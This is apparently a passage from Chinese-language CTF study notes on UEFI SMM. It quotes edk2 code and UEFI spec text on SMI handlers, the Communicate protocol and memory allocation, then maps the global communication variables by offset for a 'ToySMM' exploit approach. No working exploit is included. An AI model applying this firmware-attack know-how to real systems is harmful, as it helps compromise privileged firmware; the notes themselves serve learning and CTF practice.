return EFI_INVALID_PARAMETER;
}

SmiHandler = AllocateZeroPool (sizeof (SMI_HANDLER));
if (SmiHandler == NULL) {
return EFI_OUT_OF_RESOURCES;
}

SmiHandler->Signature = SMI_HANDLER_SIGNATURE;
SmiHandler->Handler = Handler;
SmiHandler->CallerAddr = (UINTN)RETURN_ADDRESS (0);

if (HandlerType == NULL) {
//
// This is root SMI handler
//
SmiEntry = &mRootSmiEntry;
} else {
//
// None root SMI handler
//
SmiEntry = SmmCoreFindSmiEntry ((EFI_GUID *)HandlerType, TRUE);
if (SmiEntry == NULL) {
return EFI_OUT_OF_RESOURCES;
}
}

List = &SmiEntry->SmiHandlers;

SmiHandler->SmiEntry = SmiEntry;
InsertTailList (List, &SmiHandler->Link);

*DispatchHandle = (EFI_HANDLE)SmiHandler;

return EFI_SUCCESS;
}

对于前者其一般使用EFI_SMM_COMMUNICATION_PROTOCOL协议提供的Communicate()方法与一个smm交流

在递归套娃后EFI_SMM_COMMUNICATION_PROTOCOL其实就是下面这个结构体,其只有一个成员Communicate

1
2
3
struct _EFI_MM_COMMUNICATION_PROTOCOL {
EFI_MM_COMMUNICATE Communicate;
};

EFI_MM_COMMUNICATE的定义没找着,但根据一些线索,我们能够知道他是一个函数指针

常见的其被初始化为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
**/
EFI_STATUS
EFIAPI
SmmCommunicationCommunicate (
IN CONST EFI_SMM_COMMUNICATION_PROTOCOL *This,
IN OUT VOID *CommBuffer,
IN OUT UINTN *CommSize OPTIONAL
)
{
EFI_STATUS Status;
EFI_SMM_COMMUNICATE_HEADER *CommunicateHeader;
BOOLEAN OldInSmm;
UINTN TempCommSize;

//
// Check parameters
//
if (CommBuffer == NULL) {
return EFI_INVALID_PARAMETER;
}

CommunicateHeader = (EFI_SMM_COMMUNICATE_HEADER *)CommBuffer;

if (CommSize == NULL) {
TempCommSize = OFFSET_OF (EFI_SMM_COMMUNICATE_HEADER, Data) + CommunicateHeader->MessageLength;
} else {
TempCommSize = *CommSize;
//
// CommSize must hold HeaderGuid and MessageLength
//
if (TempCommSize < OFFSET_OF (EFI_SMM_COMMUNICATE_HEADER, Data)) {
return EFI_INVALID_PARAMETER;
}
}

//
// If not already in SMM, then generate a Software SMI
//
if (!gSmmCorePrivate->InSmm && gSmmCorePrivate->SmmEntryPointRegistered) {
//
// Put arguments for Software SMI in gSmmCorePrivate
//
gSmmCorePrivate->CommunicationBuffer = CommBuffer;
gSmmCorePrivate->BufferSize = TempCommSize;

//
// Generate Software SMI
//
Status = mSmmControl2->Trigger (mSmmControl2, NULL, NULL, FALSE, 0);
if (EFI_ERROR (Status)) {
return EFI_UNSUPPORTED;
}

//
// Return status from software SMI
//
if (CommSize != NULL) {
*CommSize = gSmmCorePrivate->BufferSize;
}

return gSmmCorePrivate->ReturnStatus;
}
  • 第一个参数是指向这个EFI_SMM_COMMUNICATION_PROTOCOL的指针

  • 第二个参数一般是一个EFI_SMM_COMMUNICATE_HEADER指针

    1
    2
    3
    4
    5
    typedef struct {
    EFI_GUID HeaderGuid;
    UINTN MessageLength;
    UINT8 Data[ANYSIZE_ARRAY];
    } EFI_SMM_COMMUNICATE_HEADER;
    • HeaderGuid

      Allows for disambiguation of the message format. Type EFI_GUID is defined in InstallProtocolInterface() .

    • MessageLength

      Describes the size of Data (in bytes) and does not include the size of the header.

    • Data

      Designates an array of bytes that is MessageLength in size

  • 第三个参数是size,一般不需要特意指定为NULL即可

该函数将消息复制到全局变量中并触发软件 SMI 来处理它该消息包含我们想要通信的SMM处理程序的GUID,进入SMM时在已注册处理程序的链表中搜索该GUID。


所以,一般这类题目都需要着重分析题目SMM程序注册的handler

内存分配

bootservices中有这两个指针AllocatePagesAllocatePool都可以用于分配内存

AllocatePages

Allocates pages of a particular type.

Summary

Allocates memory pages from the system.

Prototype

1
2
3
4
5
6
7
8
typedef
EFI_STATUS
(EFIAPI *EFI_ALLOCATE_PAGES) (
IN EFI_ALLOCATE_TYPE Type,
IN EFI_MEMORY_TYPE MemoryType,
IN UINTN Pages,
IN OUT EFI_PHYSICAL_ADDRESS *Memory
);

Parameters

  • Type

    The type of allocation to perform. See “Related Definitions.”

  • MemoryType

    The type of memory to allocate. The type EFI_MEMORY_TYPE is defined in “Related Definitions” below. These memory types are also described in more detail in Memory Type Usage before ExitBootServices(), and Memory Type Usage after ExitBootServices() . Normal allocations (that is, allocations by any UEFI application) are of type EfiLoaderData. MemoryType values in the range 0x70000000..0x7FFFFFFF are reserved for OEM use. MemoryType values in the range 0x80000000..0xFFFFFFFF are reserved for use by UEFI OS loaders that are provided by operating system vendors.

  • Pages

    The number of contiguous 4 KiB pages to allocate.

  • Memory

    Pointer to a physical address. On input, the way in which the address is used depends on the value of Type. See “Description” for more information. On output the address is set to the base of the page range that was allocated. See “Related Definitions.”

NOTE: UEFI Applications, UEFI Drivers, and UEFI OS Loaders must not allocate memory of types EfiReservedMemoryType, EfiMemoryMappedIO, and EfiUnacceptedMemoryType.

Related Definitions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//******************************************************
//EFI_ALLOCATE_TYPE
//******************************************************
// These types are discussed in the "Description" section below.
typedef enum {
AllocateAnyPages,
AllocateMaxAddress,
AllocateAddress,
MaxAllocateType
} EFI_ALLOCATE_TYPE;

//******************************************************
//EFI_MEMORY_TYPE
//******************************************************
// These type values are discussed in Memory Type Usage before ExitBootServices() and Memory Type Usage after ExitBootServices().
typedef enum {
EfiReservedMemoryType,
EfiLoaderCode,
EfiLoaderData,
EfiBootServicesCode,
EfiBootServicesData,
EfiRuntimeServicesCode,
EfiRuntimeServicesData,
EfiConventionalMemory,
EfiUnusableMemory,
EfiACPIReclaimMemory,
EfiACPIMemoryNVS,
EfiMemoryMappedIO,
EfiMemoryMappedIOPortSpace,
EfiPalCode,
EfiPersistentMemory,
EfiUnacceptedMemoryType,
EfiMaxMemoryType
} EFI_MEMORY_TYPE;

//******************************************************
//EFI_PHYSICAL_ADDRESS
//******************************************************
typedef UINT64 EFI_PHYSICAL_ADDRESS;

Description

The AllocatePages() function allocates the requested number of pages and returns a pointer to the base address of the page range in the location referenced by Memory. The function scans the memory map to locate free pages. When it finds a physically contiguous block of pages that is large enough and also satisfies the allocation requirements of Type, it changes the memory map to indicate that the pages are now of type MemoryType.

In general, UEFI OS loaders and UEFI applications should allocate memory (and pool) of type EfiLoaderData. UEFI boot service drivers must allocate memory (and pool) of type EfiBootServicesData. UREFI runtime drivers should allocate memory (and pool) of type EfiRuntimeServicesData (although such allocation can only be made during boot services time).

Allocation requests of Type AllocateAnyPages allocate any available range of pages that satisfies the request. On input, the address pointed to by Memory is ignored.

Allocation requests of Type AllocateMaxAddress allocate any available range of pages whose uppermost address is less than or equal to the address pointed to by Memory on input.

Allocation requests of Type AllocateAddress allocate pages at the address pointed to by Memory on input.

NOTE: UEFI drivers and UEFI applications that are not targeted for a specific implementation must perform memory allocations for the following runtime types using AllocateAnyPages address mode:

1
2
3
4
5
EfiACPIReclaimMemory,
EfiACPIMemoryNVS,
EfiRuntimeServicesCode,
EfiRuntimeServicesData,
EfiReservedMemoryType.

Status Codes Returned

EFI_SUCCESS The requested pages were allocated.
EFI_OUT_OF_RESOURCEST The pages could not be allocated.
EFI_INVALID_PARAMETER Type is not AllocateAnyPages or AllocateMaxAddress or AllocateAddress
EFI_INVALID_PARAMETER MemoryType is in the range EfiMaxMemoryType..0x6FFFFFFF.
EFI_INVALID_PARAMETER MemoryType is EfiPersistentMemoryType or EfiUnacceptedMemory.
EFI_INVALID_PARAMETER Memory is NULL.
EFI_NOT_FOUND The requested pages could not be found.

AllocatePool

Allocates a pool of a particular type.

Summary

Allocates pool memory.

Prototype

1
2
3
4
5
6
7
typedef
EFI_STATUS
(EFIAPI *EFI_ALLOCATE_POOL) (
IN EFI_MEMORY_TYPE PoolType,
IN UINTN Size,
OUT VOID **Buffer
);

Parameters

  • PoolType

    The type of pool to allocate. Type EFI_MEMORY_TYPE is defined in the EFI_BOOT_SERVICES.AllocatePages() function description. PoolType values in the range 0x70000000..0x7FFFFFFF are reserved for OEM use. PoolType values in the range 0x80000000..0xFFFFFFFF are reserved for use by UEFI OS loaders that are provided by operating system vendors.

  • Size

    The number of bytes to allocate from the pool.

  • Buffer

    A pointer to a pointer to the allocated buffer if the call succeeds; undefined otherwise.

Note: UEFI applications and UEFI drivers must not allocate memory of type EfiReservedMemoryType.

Description

The AllocatePool() function allocates a memory region of Size bytes from memory of type PoolType and returns the address of the allocated memory in the location referenced by Buffer. This function allocates pages from EfiConventionalMemory as needed to grow the requested pool type. All allocations are eight-byte aligned.

The allocated pool memory is returned to the available pool with the EFI_BOOT_SERVICES.FreePool() function.

Status Codes Returned

EFI_SUCCESS The requested number of bytes was allocated.
EFI_OUT_OF_RESOURCES The pool requested could not be allocated.
EFI_INVALID_PARAMETER PoolType is in the range EfiMaxMemoryType..0x6FFFFFFF.
EFI_INVALID_PARAMETER PoolType is EfiPersistentMemory.
EFI_INVALID_PARAMETER Buffer is NULL.

The agent invoking the communication interface at runtime may be virtually mapped. The MM infrastructure code and handlers, on the other hand, execute in physical mode.As a result, the non- MM agent, which may be executing in the virtual-mode OS context as a result of an OS invocation of the UEFI SetVirtualAddressMap() service, should use a contiguous memory buffer with a physical address before invoking this service. If the virtual address of the buffer is used, the MM Driver may not know how to do the appropriate virtual-to-physical conversion.
这里讨论了这个问题,指出EfiReservedMemoryType, EfiACPIMemoryNVSEfiRuntimeServicesData可以满足条件,最后发现EfiRuntimeServicesData类型的内存可以让SmmCommunication->Communicate返回EFI_SUCCESS,推测完成了与SMM的态通信,也可以结合源码来具体分析。

debugon

在qemu启动脚本中加入这一句

-global isa-debugcon.iobase=0x402 -debugcon file:./debug.log

之后cat debug.log即可获得许多调试信息

SMRAM

SMM状态下有类似SMAP和SMEP这样的保护

其只能访问位于SMRAM的内存

否则会有检测edk2/MdePkg/Library/SmmMemLib/SmmMemLib.c at master · tianocore/edk2 (github.com)

SMI流程

我们一般直接交互处于DXE状态

通过SMI进入SMM后:

  • 会将当前状态存在SMBASE + 0x8000 + 0x7c00,比如各个寄存器的值
  • 执行SMBASE + 0x8000处的代码

SMBASE + 0x8000会被初始化为gcSmiHandlerTemplate

函数调用链:

1
2
3
4
5
6
gcSmiHandlerTemplate
-> SmiRendezvous
-> BSPHandler
-> gSmmCpuPrivate->SmmCoreEntry
SmmEntryPoint
-> SmiManage (IMAGE, GUID, CommBuffer)

SmiManage中最后会执行之前注册的Handler,ToySMM中是ToyMain

1
2
3
4
5
6
7
Status             = SmiHandler->Handler (
(EFI_HANDLE)SmiHandler,
Context,
CommBuffer,
CommBufferSize
);

  • SmmEntryPoint将gSmmCorePrivate->CommunicationBuffer的数据传递给了SmiManage,gSmmCorePrivate是个全局变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    ……

    CommunicationBuffer = gSmmCorePrivate->CommunicationBuffer;
    BufferSize = gSmmCorePrivate->BufferSize;

    ……

    } else {
    CommunicateHeader = (EFI_SMM_COMMUNICATE_HEADER *)CommunicationBuffer;
    // BufferSize was updated by the SafeUintnSub() call above.
    Status = SmiManage (
    &CommunicateHeader->HeaderGuid,
    NULL,
    CommunicateHeader->Data,
    &BufferSize
    );
    ……

    C
  • SmiManage调用SmmCoreFindSmiEntry通过HandlerType(GUID)查找之前注册的SmiHandler,调用Handler

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    EFI_STATUS
    EFIAPI
    SmiManage (
    IN CONST EFI_GUID *HandlerType,
    IN CONST VOID *Context OPTIONAL,
    IN OUT VOID *CommBuffer OPTIONAL,
    IN OUT UINTN *CommBufferSize OPTIONAL
    )
    {
    ……

    } else {
    //
    // Non-root SMI handler
    //
    SmiEntry = SmmCoreFindSmiEntry ((EFI_GUID *)HandlerType, FALSE);

    ……

    Status = SmiHandler->Handler (
    (EFI_HANDLE)SmiHandler,
    Context,
    CommBuffer,
    CommBufferSize
    );

    ……

    }

    C

gSmmCorePrivate全局变量定义在PiSmmIpl模块,被初始化为mSmmCorePrivateData

1
SMM_CORE_PRIVATE_DATA  *gSmmCorePrivate = &mSmmCorePrivateData;

全局comm变量

在ToySMM那题的第二种exp写法中,这位师傅并不分配新的结构体然后再去调用communicate(),而是直接布置在全局变量中并触发(见上一小节),尽管完全可以用写法1替代,但我仍然疑惑那些变量是如何找到的

最终我在源代码中找到了这些

/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L267

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//
// SMM Communication Protocol instance
//
EFI_SMM_COMMUNICATION_PROTOCOL mSmmCommunication = {
SmmCommunicationCommunicate
};

//
// PI 1.7 MM Communication Protocol 2 instance
//
EFI_MM_COMMUNICATION2_PROTOCOL mMmCommunication2 = {
SmmCommunicationMmCommunicate2
};

//
// SMM Core Private Data structure that contains the data shared between
// the SMM IPL and the SMM Core.
//
SMM_CORE_PRIVATE_DATA mSmmCorePrivateData = {
SMM_CORE_PRIVATE_DATA_SIGNATURE, // Signature
NULL, // SmmIplImageHandle
0, // SmramRangeCount
NULL, // SmramRanges
NULL, // SmmEntryPoint
FALSE, // SmmEntryPointRegistered
FALSE, // InSmm
NULL, // Smst
NULL, // CommunicationBuffer
0, // BufferSize
EFI_SUCCESS // ReturnStatus
};

//
// Global pointer used to access mSmmCorePrivateData from outside and inside SMM
//
SMM_CORE_PRIVATE_DATA *gSmmCorePrivate = &mSmmCorePrivateData;

//
// SMM IPL global variables
//
EFI_SMM_CONTROL2_PROTOCOL *mSmmControl2;
EFI_SMM_ACCESS2_PROTOCOL *mSmmAccess;
EFI_SMRAM_DESCRIPTOR *mCurrentSmramRange;
BOOLEAN mSmmLocked = FALSE;
BOOLEAN mEndOfDxe = FALSE;
EFI_PHYSICAL_ADDRESS mSmramCacheBase;
UINT64 mSmramCacheSize;

EFI_SMM_COMMUNICATE_HEADER mCommunicateHeader;
EFI_LOAD_FIXED_ADDRESS_CONFIGURATION_TABLE *mLMFAConfigurationTable = NULL;

但又令我困惑的是在实际内存中,这些变量似乎并没有按照源码中的间隔排布(顺序是对的,但中间插入了许多其他变量)

不过我们也能够确定偏移,以mSmmCommunication偏移为0

name offset
mSmmCommunication 0
mSmmCorePrivateData 0x70
mSmmCorePrivateData.CommunicationBuffer 0xa8
mSmmCorePrivateData.BufferSize 0xb0
mCommunicateHeader.HeaderGuid 0xf0
mCommunicateHeader.MessageLength 0x100
mCommunicateHeader.Data 0x108

不知道是否会受版本影响,如果不同另外调试便是